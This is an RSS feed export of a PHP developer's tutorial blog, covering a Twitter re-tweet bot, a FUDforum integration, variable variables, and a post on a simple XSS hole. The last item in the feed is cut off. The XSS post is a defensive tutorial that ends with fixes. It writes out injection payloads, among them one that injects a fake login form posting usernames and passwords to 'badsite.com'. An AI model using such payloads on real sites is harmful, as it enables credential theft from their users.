<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Albert Fama &#187; Tutorials</title>
	<atom:link href="http://albertfama.com/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://albertfama.com</link>
	<description>Freelance Web Programmer - specializing in PHP &#38; MySQL</description>
	<lastBuildDate>Fri, 20 Nov 2009 16:06:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Twitter API Fun</title>
		<link>http://albertfama.com/php/twitter-api-fun/</link>
		<comments>http://albertfama.com/php/twitter-api-fun/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 16:27:49 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://albertfama.com/?p=787</guid>
		<description><![CDATA[The other day I was looking through the twitter API docs trying to get inspiration for a side project. I was thinking about creating my own twitter library for PHP, but I wanted to do something quick and dirty, just to get my feet wet, and to see how others have implemented the API in [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I was looking through the <a href="http://apiwiki.twitter.com/"  title="twitter API documentation">twitter API docs</a> trying to get inspiration for a side project. I was thinking about creating my own twitter library for PHP, but I wanted to do something <a rel="nofollow" href="http://idioms.thefreedictionary.com/quick+and+dirty"  title="Idiom: quick and dirty">quick and dirty</a>, just to <a rel="nofollow" href="http://idioms.thefreedictionary.com/get+feet+wet"  title="Idiom: get ones feet wet">get my feet wet</a>, and to see how others have implemented the API in PHP.</p>
<p>If your using <a href="http://twitter.com/"  title="Twitter">twitter</a> and are reading this blog I&#8217;m sure you are aware of <a href="http://twitter.com/hashphp"  title="PHP feed on twitter">hashphp</a>. If not, it is a twitter account which grabs most of the <a rel="nofollow" href="http://webtrends.about.com/od/glossary/g/what-is-a-tweet.htm"  title="about.com: What is a tweet">tweets</a> with the <a href="http://www.searchenginejournal.com/twitter-hashtags/9419/"  title="searchenginejournal.com:Ultimate Guide to Twitter Hashtags">hashtag</a> &#8216;#php&#8217;  and <a rel="nofollow" href="http://www.squidoo.com/retweeting"  title="squidoo: Retweeting explained">re-tweets</a> the messages. Since this seemed like a fairly simple thing to do I decided to create my own twitter feeder. Again, I was just hacking together a script, so if you use the code presented you will want to make some enhancements before letting it into the wild. (Please see <a href="#enhancements">end</a> of post.)</p>
<p>First, I decided to pick a hastag which was used in the range of 3 &#8211; 5 times every 15 minutes; &#8216;#mysql&#8217; seemed to fit the bill. </p>
<p>Now I needed a twitter account to re-tweet the messages, and a bit.ly account to create short URLs to link back to the original account that posted the message. I created a &#8216;poundmysql&#8217; account (The number sign &#8216;#&#8217; is sometimes referred to as the &#8216;pound&#8217; sign in the US), then I went to bit.ly and signed up for an account.</p>
<p>Continuing to gather the pieces of the puzzle, I looked through the published <a href="http://apiwiki.twitter.com/Libraries#PHP"  title="twitter API documentation: pre-written PHP libraries">PHP libraries</a> on twitter and found one which did exactly what I needed. There were other more robust scripts, but I only needed to update an account status so grabbed the package <a href="http://www.phpclasses.org/browse/package/4216.html"  title="phpclasses.org: Twitter">Twitter</a> by <a href="http://www.phpclasses.org/browse/author/385729.html"  title="phpclasses.org: Felix Oghina profile page">Felix Oghina</a>. The next piece came in the way of the <a rel="nofollow" href="http://code.google.com/p/bitly/" >Bitly</a> class, written by <a href="http://ruslanas.com"  title="Ruslanas Balciunas personal site">Ruslanas Balciunas</a>. (I apologize to Ruslanas Balciunas but my current character set in MySQL will not allow for a proper spelling of the last name.)</p>
<p>Next, I needed to be able to retrieve all the tweets which contained the string #mysql. Twitter offers a <a href="http://apiwiki.twitter.com/Twitter-API-Documentation"  title="twitter.com: API documentation">Search API</a> which would do the job, but for my purposes <a href="http://search.twitter.com/"  title="search twitter">search.twitter</a> was the faster option. They offer an XML  feed to any search so I only needed to search #mysql and grab the URL of the feed, which is:</p>
<p>http://search.twitter.com/search.atom?q=%23mysql</p>
<p>As you can see the search term is contained in the query string of the URL (URL encoded), which is useful since I could then setup the script to accept any search term.</p>
<p>OK, now with all the pieces of the puzzle at hand I only needed to write the code to fit the pieces together creating my own twitter feeder.</p>
<p>First I grabbed a function which I used in a long ago project [probably also swiped from the internet:)]. The function sends a HTTP request to a server and returns the response.</p>
<pre name="code" class="php">
function url_get($domain, $uri, $referer='')
{
    $header = array();
    $header[] = 'GET '.$uri.' HTTP/1.1';
    $header[] = 'Host: '.$domain;
    $header[] = 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;rv:1.8) Gecko/20051111 Firefox/1.5';
    $header[] = 'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5';
    $header[] = 'Accept-Language: en-us,en;q=0.5';
    $header[] = 'Accept-Encoding: gzip,deflate';
    $header[] = 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7';

    $header[] = 'Keep-Alive: 300';
    $header[] = 'Connection: keep-alive';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $domain.$uri);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

    $result['exec'] = curl_exec ($ch);
    $result['info'] = curl_getinfo($ch);

    curl_close ($ch);

    return $result['exec'];
}
</pre>
<p>As you can see the function accepts three parameters, the domain to connect to ($domain), the path to the requested page ($uri) and the referrer ($referer). This function uses the cURL extension, if your PHP configuration has allow_url_fopen turned on you don&#8217;t even need this function (more on that in a minute).</p>
<p>Next I setup the $domain, $uri and $search_term variables, and made the call to the function to get the XML from search.twitter.</p>
<pre name="code" class="php">

//ideally you would put this in a configuration file
$search_term = '#mysql';

//create variables to be sent to the function
$domain = 'search.twitter.com';
$uri    = '/search.atom?q='.urlencode($search_term);

//retrieve the xml response string from search.twitter
$feed = url_get($domain, $uri);
&nbsp;
</pre>
<p>Now that the script has the information needed from twitter as an xml string, I can then create a <a href="http://www.php.net/manual/en/book.simplexml.php"  title="PHP Manual: SimpleXML extension">SimpleXML</a> object using the following:</p>
<pre name="code" class="php">

$xml = new SimpleXMLElement($feed);
</pre>
<p>If allow_url_fopen is set to &#8216;on&#8217; you could skip directly to creating the SimpleXML object by using the URL as the first parameter and setting the third parameter to TRUE:</p>
<pre name="code" class="php">

$feed = 'http://search.twitter.com/search.atom?q='.urlencode($search_term);

$xml = new SimpleXMLElement($feed, NULL, TRUE);
</pre>
<p>The tweets in the feed are ordered by the time they were originally posted using the UTC timezone, since this is the case I needed PHP to use UTC when calling date time functions. To do this I used the <a href="http://us3.php.net/manual/en/function.date-default-timezone-set.php"  title="date_default_timezone_set">date_default_timezone_set</a> function.</p>
<pre name="code" class="php">

date_default_timezone_set('UTC');
</pre>
<p>Next I included the Twitter class and the Bitly class into the script and created new instances of each:</p>
<pre name="code" class="php">

//require the two files which define the classes used
require_once('Twitter.class.php');
require_once('bitly.class.php');

//setup log in information for twitter and bit.ly
//again these should really be kept in a separate config file
//outside the document root
$twit_uname = 'twitter_username';
$twit_pword = 'twitter_password';

$bit_uname = 'bit.ly_username';
$bit_api   = 'bit.ly_api_key';

//instantiate new objects
$twitter = new Twitter($twit_uname, $twit_pword);
$bitly   = new Bitly($bit_uname, $bit_api);
</pre>
<p>The idea is to loop through the messages received from the search and update the twitter account with any message that was posted within the last 15 minutes. I setup the last run time of the script outside the loop so that it only needs to be calculated once.</p>
<pre name="code" class="php">
//define the number of minutes between each script run
//again this is a setting which should be in the config file
$time_interval = 15;

//get the number of seconds since the UNIX epoch
//and the last script run
$last_run_time = mktime()-($time_interval*60);
</pre>
<p>The messages can be found in $xml->entry. Within the loop the first check I needed to make was to determine if the twitter feeder account (poundmysql) had posted the message and if so, skip that message.</p>
<pre name="code" class="php">

//setup messages loop
foreach ($xml->entry as $update) {
    //skip any messages set by poundmysql
    if ('poundmysql' == $update->author->name) {
        continue;
    }
...
</pre>
<p>Next I checked for the time the message was posted and if that time occurs later than 15 minutes ago, I could end the loop and the script itself, since any entries after this would also occur after the 15 minute cutoff point.</p>
<pre name="code" class="php">
...
    //time format in xml string: 2009-07-25T20:32:13Z
    //split time from date
    list($pub_date, $pub_time) = explode('T', $update->published);
    //remove the ending 'Z' from time
    $pub_time = substr($pub_time, 0, -1);

    //get time segments for mktime() call
    list($hour, $minute, $second) = explode(':', $pub_time);
    list($year, $month, $day)     = explode('-', $pub_date);

    //get the number of seconds since the UNIX epoch
    //and the time the message was posted
    $publish_time  = mktime($hour,  $minute, $second,
                            $month, $day,    $year);

    //check if message was later than last run time,
    //if so end loop
    if ($publish_time < $last_run_time) {
        break;
    }
</pre>
<p>If the message passes these two checks, I know that it will be used in the feeder. </p>
<p>I then create a bit.ly link for the original message ($update->link[0]['href']), and store the character length of the link. Then I grab the content of the message ($update->title) and store that character length.
</pre>
<pre name="code" class="php">
    //grab url of the original message, create short link, store length
    $link       = (string)$update->link[0]['href'];
    $short_link = ' ..'.$bitly->shortenSingle($link);
    $short_len  = strlen($short_link);

    //grab tweet content store length
    $content     = (string)$update->title;
    $content_len = strlen($content);
</pre>
<p>Since Twitter has a max character length of 140, I then needed to check what the character length of the new message was with the bit.ly link added, if it was longer than 140, I then needed to cutoff a section of the original message to accommodate the 140 maximum length.</p>
<pre name="code" class="php">

    //total message length
    $len_total = $short_len+$content_len;

    if (140 < $len_total) {
        //determine how many characters over 140
        $over = $len_total-140;

        //remove that many characters from the original message
        $content = substr($content, 0, -$over);
    }
</pre>
<p>The only thing left to do was to actually update the twitter status.</p>
</pre>
<pre name="code" class="php">

    $new_status = $content.$short_link;
    //update twitter status
    $twitter->update($new_status);
}
//end loop
</pre>
<p>That ends the PHP code for my twitter feeder, now I setup a cron job to run every fifteen minutes and I have my own twitter feeder feeding the MySQL community.</p>
<div style="background-color: #EEEEEE; padding: 7px;">
*/15 * * * * GET /path/to/script
</div>
<p>Since I didn&#8217;t want to actually monitor this feed, I let it run for awhile and once I verified everything was working correctly I deleted the twitter account and stopped the script from running.</p>
<p>A copy of the code used in this post can be found <a href="#" onclick="window.open('/scripts/twitter-feeder.txt', 'code', 'height=500,width=600,scrollbars=1'); return false;" title="code used for twitter feeder">here</a>.<br />
<a name="enhancements"></a></p>
<h5>Enhancements</h5>
<p>Some updates you will probably want to make before actually using this script for a real twitter account:</p>
<ul>
<li>Remove all the configuration options to their own file and store outside the document root.</li>
<li>Error checking for unavailable third-party services</li>
<li>Reverse tweets before running the loop. ATM: the script re-tweets in the reverse order the original messages were posted.</li>
<li>Implement a filtering system so no unwanted messages are inserted into your stream.</li>
<li>Update the script to use the twitter search API to guarantee that all tweets with your hashtag are captured.</li>
</ul>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=787">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/twitter-api-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Tutorial: Integrating FUDforum</title>
		<link>http://albertfama.com/php/new-tutorial-integrating-fudforum/</link>
		<comments>http://albertfama.com/php/new-tutorial-integrating-fudforum/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 00:35:34 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Fudforum]]></category>
		<category><![CDATA[integration]]></category>
		<category><![CDATA[learning]]></category>

		<guid isPermaLink="false">http://albertfama.com/?p=367</guid>
		<description><![CDATA[I have recently published the first part in a new series of tutorials which will look at integrating FUDforum into an existing site. Part 1 looks at how to create FUD accounts for existing users, and how to &#8216;notify&#8217; FUD about things happening on your site. Basically introducing your site to FUD.
Back Story
It seems forums [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently published the first part in a new series of tutorials which will look at integrating <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a> into an existing site. Part 1 looks at how to create FUD accounts for existing users, and how to &#8216;notify&#8217; FUD about things happening on your site. Basically introducing your site to FUD.</p>
<h3>Back Story</h3>
<p>It seems forums have sort of lost their luster for many; I remember when having a website meant having a forum. At that time it seemed every contract I landed, some portion of the job consisted of integrating a forum  into a site. I always hated this job, because at the time PHPBB was the forum of choice and it seemed that there was no &#8216;right&#8217; way to do it, I had simply developed a bunch of hacks which needed to be scattered around the PHPBB code base and even when complete it was still just a bunch of hacks.</p>
<p>As time moved on, the demand for forums became less and less and I had not done a forum integration in many years. That was until I went to my <a href="http://www.azphp.org/"  title="Arizona PHP User's Group">local</a> <a href="http://www.phpusergroups.org/"  title="phpusergroups.org">PHP users group</a> and ended up with a contract to do a forum integration. I really was not looking forward to the project, but it was a part of a larger job and I&#8217;m not one to turn down work.</p>
<p>Luckily the other members of the group convinced the client to use <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a> developed by <a href="http://ilia.ws/"  title="Ilia Alshanetsky: Personal Site/Blog">Ilia Alshanetsky</a>. I had looked into FUDforum before, had used it as a member of different sites, and assumed the code to be a higher quality simply because of who wrote it, but had never written any code to interact with it.</p>
<p>On Wednesday, the night before I was to do the forum integration I began reading the <a href="http://cvs.prohost.org/index.php/Main_Page"  title="FUDforum documentation">documentation</a> and planning how I was going to accomplish this task as easily and painlessly as possible. Looking at the sidebar navigation on the documentation wiki, I was surprised to see the heading &#8216;<a href="http://cvs.prohost.org/index.php/Category:Integration"  title="FUDforum: Integration Documentation">Integration</a>&#8216; two clicks later, a quick scan of two different pages, and I knew exactly what needed to be done. </p>
<p>After a few hours of work Thursday morning I had written a script which created accounts in the forums for existing members, I also altered the sign up, login, and logout code of the main site. With these changes the forums were basically integrated into the site, which brings me to the new tutorial series I will be posting over the next week.</p>
<h3>Integrating FUDforum</h3>
<p><strong><a href="/tutorial-integrating-fudforum-part1" title="FUDforum integration - part 1">Part 1: Introducing your site to FUD</a></strong></p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=367">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/new-tutorial-integrating-fudforum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variable Variables</title>
		<link>http://albertfama.com/php/variable-variables/</link>
		<comments>http://albertfama.com/php/variable-variables/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 21:11:29 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[variable variables]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=36</guid>
		<description><![CDATA[It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept [...]]]></description>
			<content:encoded><![CDATA[<p>It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept itself; but from understanding when a variable variable would be beneficial. In this article I will attempt to dispel the myth by including real-world examples along with the basic information about variable variables.</p>
<p>One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)</p>
<p>We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:</p>
<blockquote><p><strong>PHP Manual:</strong><br />
A <a href="http://www.php.net/manual/en/language.variables.variable.php"  title="PHP Manual: Variable Variables">variable variable</a> takes the value of a variable and treats that as the name of a variable.</p></blockquote>
<p>Let&#8217;s see if we can add a little more to it&#8230; A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.</p>
<p>Not sure if that is any clearer, so lets go to some code so we can see it in action, then I&#8217;m sure everyone will understand. </p>
<pre name="code" class="php">
&lt;?php
$site = &quot;NULL&quot;;
$ring = &quot;NULL&quot;;
$plug = &quot;NULL&quot;;
&nbsp;
$entity_1 = &quot;site&quot;;
$entity_2 = &quot;plug&quot;;
$id_1     = 54;
$id_2     = 78;
&nbsp;
$$entity_1 = $id_1;
$$entity_2 = $id_2;
&nbsp;
echo &quot;site: &quot;.$site.&quot;&lt;br /&gt;&quot;;
echo &quot;ring: &quot;.$ring.&quot;&lt;br /&gt;&quot;;
echo &quot;plug: &quot;.$plug.&quot;&lt;br /&gt;&quot;;
?>
</pre>
<p>When this code is run it will print:<br />
<code>site: 54<br />
ring: NULL<br />
plug: 78<br />
</code><br />
Notice the two dollar signs ($$) in front of the second occurrence of the variables &#8216;entity_1&#8242; and &#8216;entity_2&#8242;, these are the variable variables. Since the value of the variable $entity_1 is &#8217;site&#8217; when PHP parses:</p>
<pre name="code" class="php">
$$entity_1 = $id_1;
</pre>
<p>it <em>reads</em>:<br />
<code>$site = $id_1;</code><br />
The same also happens for $$entity_2. </p>
<p>That&#8217;s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this <em>feature</em> of PHP be used?</p>
<p>First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:</p>
<blockquote><p>
Sometimes it is convenient to be able to have variable variable names.
</p></blockquote>
<p>The keyword here being: convenient (as in &#8216;not necessary&#8217;).</p>
<p>The most recent situation where I used variable variables was this:<br />
I was writing a function which managed the data in a database correlation table. The table had three columns: &#8217;site_id&#8217;, &#8216;ring_id&#8217;, and &#8216;plug_id&#8217;. </p>
<p>The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
</pre>
<p>That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:</p>
<pre name="code" class="php">
function create($site_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ring_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plug_id)
</pre>
<p>The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table. </p>
<p>Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL): </p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
}
</pre>
<p>Without some checking the function did not &#8216;know&#8217; which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:</p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_1 = $id_1;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_2 = $id_2;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;return create($site, $ride, $plug);
}
</pre>
<p>Again variable variables were not needed in this situation I could have used &#8217;switch&#8217; or &#8216;if&#8217; statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.</p>
<p>BTW &#8211; If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=36">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/variable-variables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple XSS Vulnerability</title>
		<link>http://albertfama.com/php/simple-xss-vulnerability/</link>
		<comments>http://albertfama.com/php/simple-xss-vulnerability/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 21:18:04 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=37</guid>
		<description><![CDATA[I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.

&#60;input type="text" name="order" value="&#60;?php&#160;echo&#160;$_POST['order'];&#160;?&#62;" /&#62;

Basically [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="&lt;?php&nbsp;echo&nbsp;$_POST['order'];&nbsp;?&gt;" /&gt;
</pre>
<p>Basically the question was: What is wrong with this code? I didn&#8217;t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP. </p>
<p>Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited.  It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.</p>
<p>OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>When the form is submitted the code will simply print: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>in the text box. </p>
<p>This is true, but the problem is; what happens when someone enters: </p>
<p>watch it grow&quot; size=&quot;100</p>
<p>When this value is printed in the text box, the browser &#8217;sees&#8217; the quote following: <strong>watch it grow</strong> and ends the &#8216;value&#8217; attribute. The browser then adds a &#8217;size&#8217; attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="watch it grow&quot; size=&quot;100" /&gt;
</pre>
<p>Now we know that simply adding a &#8221; (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:</p>
<p>click here&#8221; onclick=&#8221;alert(&#8216;hello&#8217;);</p>
<p>Now the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="click here" onclick="alert('hello');" /&gt;
</pre>
<p>After the form is submitted the value in the text box reads: <strong>click here</strong>. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: &#8216;hello&#8217;.</p>
<p>Taking this exploit one step further, with one final example.  The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the &#8216;value&#8217; attribute with the &#8221; (quote) and then add the end of the input tag: /&gt; and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let&#8217;s add:</p>
<pre name="code" class="html">
Fill out form completely" disabled/&gt;&lt;/form&gt;&lt;form method="POST" action="http://badsite.com"&gt;Username: &lt;input type="text" name="username"&gt;&lt;br/&gt;Password:&lt;input type="password" name="user_pass"&gt;&lt;br/&gt;&lt;input type="hidden" name="end_input" value="
</pre>
<p>With this code we start with: Fill out form completely&#8221;<br />
The &#8221; (quote) following the word &#8216;completely&#8217; will end the &#8216;value&#8217; attribute. </p>
<p>We then place: disabled/&gt;<br />
This will disable the &#8220;order&#8221; input and end the tag, now we are in the realm of adding HTML. </p>
<p>Next by adding: &lt;/form&gt;<br />
We have ended the form, and are able to create something new.</p>
<p>As you can see we have added our own form which submits the user&#8217;s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.</p>
<p>To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):</p>
<pre name="code" class="html">
&nbsp;&nbsp;&lt;input type="text" name="order" value="Fill out form completely" disabled/&gt;
&lt;/form&gt;
&lt;form method="POST" action="http://badsite.com"&gt;
&nbsp;&nbsp;Username:
&nbsp;&nbsp;&lt;input type="text" name="username"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;Password:
&nbsp;&nbsp;&lt;input type="password" name="user_pass"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;&lt;input type="hidden" value=""/&gt;
</pre>
<p>Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply <strong><em>NOT</em></strong> true, but you will have to do the research yourself if you still don&#8217;t believe that this is a security hole (or you have ideas of cracking a few sites. <img src='http://albertfama.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: <a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a>.</p>
<p><a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a> converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value=" &lt;?php&nbsp;echo&nbsp;htmlspecialchars($_POST['order']);&nbsp;?&gt; " /&gt;
</pre>
<p>This is only one way to &#8216;fix&#8217; the problem and may not work in all situations; some other methods of preventing an XSS attack are:</p>
<ul>
<li>Use an exclusion approach with <a href="http://us2.php.net/strip_tags"  title="PHP Manual: strip_tags()">strip_tags()</a>.</li>
<li>Use regular expressions to filter any data which may not have been caught by the built-in functions.</li>
<li>Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.</li>
</ul>
<p>I believe the best defense is a combination of a few different strategies.</p>
<p>XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: &#8220;PHP XSS exploits tutorials&#8221;. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=37">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/simple-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More on Types&#8230;</title>
		<link>http://albertfama.com/php/more-on-types/</link>
		<comments>http://albertfama.com/php/more-on-types/#comments</comments>
		<pubDate>Fri, 02 Nov 2007 21:00:09 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Types]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[variable types]]></category>

